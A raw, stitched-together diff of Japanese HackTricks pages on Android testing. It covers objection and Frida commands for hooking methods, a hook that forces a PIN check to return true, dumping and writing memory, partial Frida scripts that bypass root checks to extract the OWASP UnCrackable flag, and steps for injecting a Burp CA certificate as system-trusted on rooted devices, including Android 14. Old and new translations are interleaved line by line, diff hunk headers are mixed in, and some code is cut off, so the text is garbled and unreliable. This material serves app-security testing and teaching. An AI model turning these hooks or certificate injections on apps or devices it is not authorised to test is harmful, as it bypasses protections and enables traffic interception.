Fridaは、何も見つからない場合にエラーを発生させます
```bash
android hooking get current_activity
```
![](<../../../.gitbook/assets/image (73) (1).png>)
#### クラスの検索
アプリケーション内のクラスを検索しましょう
```
アプリケーション内のクラスを検索しましょう
```bash
android hooking search classes asvid.github.io.fridaapp
```
![](<../../../.gitbook/assets/image (69).png>)
#### クラスの検索方法
では、クラス_MainActivity_内のメソッドを抽出してみましょう
```
次に、_MainActivity:_ クラス内のメソッドを抽出します
```bash
android hooking search methods asvid.github.io.fridaapp MainActivity
```
![](<../../../.gitbook/assets/image (70) (1).png>)
#### クラスの宣言されたメソッドとそのパラメータの一覧
#### クラスの宣言されたメソッドとそのパラメーターのリスト
クラスのメソッドがどのようなパラメータを必要とするかを調べましょう:
```
クラスのメソッドがどのようなパラメーターが必要かを把握しましょう:
```bash
android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```
![](<../../../.gitbook/assets/image (79).png>)
#### クラスの一覧表示
#### クラスのリスト
現在のアプリケーション内でロードされたすべてのクラスを一覧表示することもできます。
```
現在のアプリケーション内でロードされたすべてのクラスをリストアップすることもできます。
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
これは、クラスのメソッドをフックしたいが、クラスの名前しか知らない場合に非常に便利です。この関数を使用して、クラスを所有するモジュールを検索し、そのメソッドをフックすることができます。
これは、クラスのメソッドをフックしたいがクラスの名前しかわからない場合に非常に便利です。この関数を使用して、クラスを所有するモジュールを検索し、そのメソッドをフックできます。
### フックは簡単です
#### メソッドのフック(監視)
アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、**MainActivity**の**_sum()_**関数が**1秒ごとに実行**されていることがわかります。関数が呼び出されるたびに(引数、戻り値、バックトレースを含む)**可能な情報をすべてダンプ**してみましょう。
```
アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、**_MainActivity_** **_sum()_** 関数が **1秒ごとに実行** されていることがわかります。関数が呼び出されるたびに(引数、戻り値、およびバックトレースを含む)**すべての可能な情報をダンプ**してみましょう:
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
![](<../../../.gitbook/assets/image (71).png>)
#### クラス全体のフック(監視)
実際には、MainActivityクラスのすべてのメソッドが非常に興味深いと思いますので、**すべてのメソッドをフック**してみましょう。ただし、これはアプリケーションを**クラッシュ**させる可能性があるため、注意が必要です
```
実際には、MainActivityクラスのすべてのメソッドが本当に興味深いと思います。**すべてをフック**してみましょう。アプリケーションを**クラッシュ**させる可能性があるので注意してください
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
クラスがフックされている間にアプリケーションを操作すると、**各関数が呼び出されるタイミング**その**引数**、および**戻り値**が表示されます。
アプリケーションを操作すると、クラスがフックされているときに**各関数が呼び出される**タイミング、**引数**、および**戻り値**が表示されます。
![](<../../../.gitbook/assets/image (72).png>)
#### 関数の真偽値の返り値を変更する
#### 関数の真偽値を変更する
ソースコードからわかるように、関数_checkPin_は引数として_String_を受け取り、_boolean_を返します。関数を**常にtrueを返すように**してみましょう:
ソースコードから、_checkPin_ 関数が _String_ を引数として受け取り、_boolean_ を返すことがわかります。この関数を**常に true を返すように**変更しましょう:
![](<../../../.gitbook/assets/image (74).png>)
@ -293,16 +185,16 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### クラスのインスタンス
特定のJavaクラスの**ライブインスタンス**を検索し、指定された完全修飾クラス名で指定します。Outは、通常、オブジェクトのプロパティ値を**含む発見された異議に対して文字列値を取得しようとした結果**です。
特定のJavaクラスの**ライブインスタンス**を検索して表示し、完全修飾クラス名で指定します。Out は、通常オブジェクトの**プロパティ値を含む発見されたObjectionの文字列値を取得しようとする試み**の結果です。
```
android heap print_instances <class>
```
![](<../../../.gitbook/assets/image (80).png>)
### キーストア/インテント
### Keystore/Intents
キーストアとインテントを使用して遊ぶことができます。以下のコマンドを使用します。
```
キーストアとインテントを使用して遊ぶことができます
```bash
android keystore list
android intents launch_activity
android intent launch_service
@ -315,54 +207,36 @@ memory dump all <local destination> #Dump all memory
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
```
#### リスト
```
```bash
memory list modules
```
![](<../../../.gitbook/assets/image (66).png>)
リストの一番下にはfridaが表示されています:
リストの一番下にはfridaが表示されます
![](<../../../.gitbook/assets/image (67).png>)
fridaがエクスポートしているものを確認しましょう:
fridaがエクスポートしているものをチェックしましょう:
![](<../../../.gitbook/assets/image (68).png>)
#### 検索/書き込み
objectionを使用してメモリ内で検索や書き込みもできます
```
Objectionを使用してメモリ内で検索や書き込みもできます
```bash
memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
```
### SQLite
SQLiteデータベースとやり取りには、`sqlite`コマンドを使用できます。
`sqlite`コマンドを使用してSQLiteデータベースとやり取りできます。
### 終了
```
### Exit
```bash
exit
```
## Objection で欠けているもの
* フックメソッドはアプリケーションをクラッシュさせることがありますこれはFridaのせいでもあります
* フックメソッドは時々アプリケーションをクラッシュさせることがあります(これは Frida のせいでもあります)。
* クラスのインスタンスを使用してインスタンスの関数を呼び出すことはできません。また、新しいクラスのインスタンスを作成してそれらを使用して関数を呼び出すこともできません。
* アプリケーションで使用されている一般的な暗号化メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを表示するためのショートカットsslpinninのようなものはありません。
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント****Intigriti**に**サインアップ**してください。これはハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
* アプリケーションで使用されている共通の暗号化メソッドすべてをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカットsslpinnin のようなもの)がありません。

View file

@ -2,34 +2,34 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
**ハッキングのキャリア**に興味がある方、そして**解読不可能なものを解読する** - **採用中です!**流暢なポーランド語の読み書きが必要です)。
**ハッキングキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
\\
***
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
この投稿の要約:[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
APK[https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
## 解決策1
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。
**\_exit()**関数と**decrypt関数**をフックして、検証を押すとフラグがfridaコンソールに表示されるようにします。
**\_exit()**関数と**復号化関数**をフックして、検証を押すとFridaコンソールにフラグが表示されるようにします
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...");
@ -68,9 +68,9 @@ send("Hooks installed.");
```
## 解決策2
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)を参考にしています。
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。
**rootチェック**と**decrypt**関数をフックし、`verify`ボタンを押すとフラグがFridaコンソールに表示されるようにします。
**rootchecksをフック**し、機能を復号化して、検証を押すとFridaコンソールにフラグが表示されるようにします
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...");
@ -128,18 +128,20 @@ send("Hooks installed.");
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングのキャリア**に興味があり、ハックできないものをハックしたいのであれば - **採用中です!**_流暢なポーランド語の読み書きが必要です_
**ハッキングキャリア**に興味がある方、そしてハッキングできないものをハックしたい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をご確認ください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -2,23 +2,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを手に入れましょう。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手しましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **ハッキングテクニックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## 仮想マシン上で
まず最初に、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行うことができます。
まず、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行うことができます。
![](<../../.gitbook/assets/image (367).png>)
**Der形式で証明書をエクスポートし**、**Android**が**理解できる形式に変換**しましょう。**AVDのAndroidマシンにburp証明書を設定するためには**、**`-writable-system`** オプションを付けてこのマシンを**実行**する必要があることに注意してください。\
**Der形式で証明書をエクスポート**し、**Androidが理解できる形式に変換**します。AndroidマシンのAVDにBurp証明書を構成するには、このマシンを**`-writable-system`**オプションで**実行する必要があります。**
例えば、次のように実行できます:
{% code overflow="wrap" %}
@ -27,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
次に、**burps証明書を設定するには**
次に、**Burpの証明書を設定する**には、次の手順を実行します
{% code overflow="wrap" %}
```bash
@ -42,49 +44,39 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
**マシンが再起動を完了すると**、Burp証明書が使用されます!
**マシンが再起動を完了すると**、burp証明書がそれによって使用されます!
## Magiscを使用する
もし**Magiscでデバイスをルート化**していて(エミュレーターの場合もあります)、ファイルシステムが**読み取り専用**で書き込み可能にリマウントできないために、Burp証明書のインストールに先述の**手順**を**たどれない**場合、別の方法があります。
Magiscでデバイスをroot化した場合おそらくエミュレーター、ファイルシステムが読み取り専用でリマウントできないため、以前の手順に従うことができない場合は、別の方法があります。
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、以下の手順を実行します:
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次の手順を実行する必要があります:
1. **CA証明書をインストールする**DER形式のBurp証明書を`.crt`に**拡張子を変更して**モバイルに**ドラッグ&ドロップ**し、ダウンロードフォルダに保存します。そして`Install a certificate` -> `CA certificate`に進みます。
1. **CA証明書をインストールする**DER Burp証明書を`.crt`に変更してモバイルにドラッグ&ドロップし、ダウンロードフォルダに保存し、`証明書のインストール` -> `CA証明書`に移動します
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* `Trusted credentials` -> `USER`に進んで、証明書が正しく保存されたことを確認します
* 証明書が正しく保存されたことを確認するには、`信頼された資格情報` -> `ユーザー`に移動します
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **システムで信頼されるようにする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、電話に**ドラッグ&ドロップ**して、電話の**Magicsアプリ**で**`Modules`**セクションに進み、**`Install from storage`**をクリックし、`.zip`モジュールを選択してインストールした後、電話を**再起動**します:
2. **システムで信頼されるようにする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、それを電話にドラッグドロップし、電話のMagicsアプリに移動して`モジュール`セクションに移動し、`ストレージからインストール`をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* 再起動後、`Trusted credentials` -> `SYSTEM`に進み、Postswigger証明書がそこにあることを確認します
* 再起動後、`信頼された資格情報` -> `システム`に移動し、Postswigger証明書がそこにあることを確認します
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14以降
変更点:
最新のAndroid 14リリースでは、システムで信頼される証明機関CA証明書の取り扱いにおいて重要な変更が観察されています。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に収容され、root権限を持つユーザーがアクセスして変更できる状態でしたが、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
* これまで、システムで信頼されるCA証明書は**`/system/etc/security/cacerts/`**にありました。標準のAOSPエミュレーターでは、最小限のセットアップで**ルートアクセスを使って直接変更**でき、**すぐに全体に影響**を与えました。
* Android 14では、システムで信頼されるCA証明書は一般的に**`/apex/com.android.conscrypt/cacerts`**にあり、**`/apex`全体が不変**です。
* **APEX cacertsパスは書き込み可能としてリマウントできません** - リマウントは単に失敗します。実際、ルートシェルから完全にパスをアンマウントしても、アプリは引き続き証明書を問題なく読み取ることができます。
* tmpfsディレクトリを上にマウントする代替技術も**機能しません** - これは`ls /apex/com.android.conscrypt/cacerts`が何も返さない(または好きなものを返す)かもしれませんが、アプリは依然として元のデータを見ることができます。
* `/apex`マウントは、プロセス間で`/apex`パス内のマウントの変更が共有されないように、[明示的に](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **PRIVATE伝播でマウントされています**
**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはそのような操作を許可しません。さらに、ディレクトリを一時ファイルシステムtmpfsでアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようにしています。
これはOSを起動する`init`プロセスによって行われ、その後、[Zygoteプロセス](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)(親からコピーされた新しいマウント名前空間を含むため、**自身のプライベートな`/apex`マウント**を含む)を起動し、その後、デバイス上でアプリが起動されるたびに**各アプリプロセスを開始します**(それぞれが同じプライベートな`/apex`マウントを**コピーします**
Androidの初期化には`init`プロセスが関与し、オペレーティングシステムの起動時にZygoteプロセスも開始されます。このプロセスは、新しいマウント名前空間を持つアプリケーションプロセスを起動する責任があり、この名前空間にはプライベート**`/apex`**マウントが含まれており、このディレクトリへの変更を他のプロセスから隔離します。
### マウントポイントを再帰的にリマウントする
* `/apex`を手動でリマウントし、PRIVATE伝播を削除して書き込み可能にすることができます皮肉なことに、プライベート伝播を完全に削除すると、どこにでも_伝播する_ようです
* `/apex/com.android.conscrypt`の全内容を別の場所にコピーします
* その後、`/apex/com.android.conscrypt`を完全にアンマウントします - このモジュールを不変で提供する読み取り専用マウントを削除します
* その後、内容を戻して、`/apex`マウントに直接生きるようにします。そこでは変更が可能です([どうやら](https://infosec.exchange/@g1a55er/111069489513139531)クラッシュが発生する可能性があるため、迅速に行う必要があります)
* これはすぐに効果があるはずですが、`system_server`を終了する(すべてのアプリを再起動する)ことで、すべてを一貫した状態に戻すことを推奨します
ただし、**`/apex`**ディレクトリ内のシステムで信頼されるCA証明書を変更する必要がある場合の回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、内容を**`/apex`**内の元の場所に復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更がシステム全体に適用されるようにするためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -142,39 +134,25 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
### NSEnterを使用したバインドマウント
* 最初に、どこかに書き込み可能なディレクトリを設定する必要があります。既存のアプローチとの互換性を容易にするために、私は非APEXシステム証明書ディレクトリまだ存在している上に`tmpfs`マウントを使用してこれを行っています:
### NSEnterを介したバインドマウント
1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして、書き込み可能ディレクトリを確立します。次のコマンドを使用してこれを実現します:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
* 次に、興味のあるCA証明書をこのディレクトリに配置します例えば、既存の`/apex/com.android.conscrypt/cacerts/` CA証明書ディレクトリからすべてのデフォルトをコピーするかもしれませんそして、適切な権限とSELinuxラベルを設定します。
* その後、`nsenter`を使用してZygoteのマウント名前空間に入り、このディレクトリをAPEXディレクトリにバインドマウントします
2. **CA証明書の準備**: 書き込み可能ディレクトリのセットアップに続いて、使用するCA証明書をこのディレクトリにコピーする必要があります。これには、デフォルトの証明書を`/apex/com.android.conscrypt/cacerts/`からコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。
3. **Zygote用のバインドマウント**: `nsenter`を利用して、Zygoteのマウント名前空間に入ります。 Androidアプリケーションを起動する責任があるプロセスであるZygoteは、今後起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用するようにするために、この手順が必要です。使用されるコマンドは次のとおりです:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
これにより、新しいアプリが開始されるたびに、更新されたCA証明書の設定に従うようになります。
Zygoteプロセスは各アプリを生成し、その際にマウント名前空間をコピーするため、これにより新しく起動されるすべてのアプリこれから開始されるすべてのものがこれを使用することになります。
* その後、`nsenter`を使用して既に実行中の各アプリの名前空間に入り、同じことを行います:
4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のとおりです:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセスPID 1での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播され、実行中の各アプリを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
代わりに、UXが少し不便でも構わない場合は、`init`自体PID 1でバインドマウントを行い、その後`stop && start`を実行してOSをソフトリブートし、すべての名前空間を再作成して変更を至る所に伝播させることができるはずですただし、私は不便なリブートを気にするので、その方法は完全に無視しています
<details>
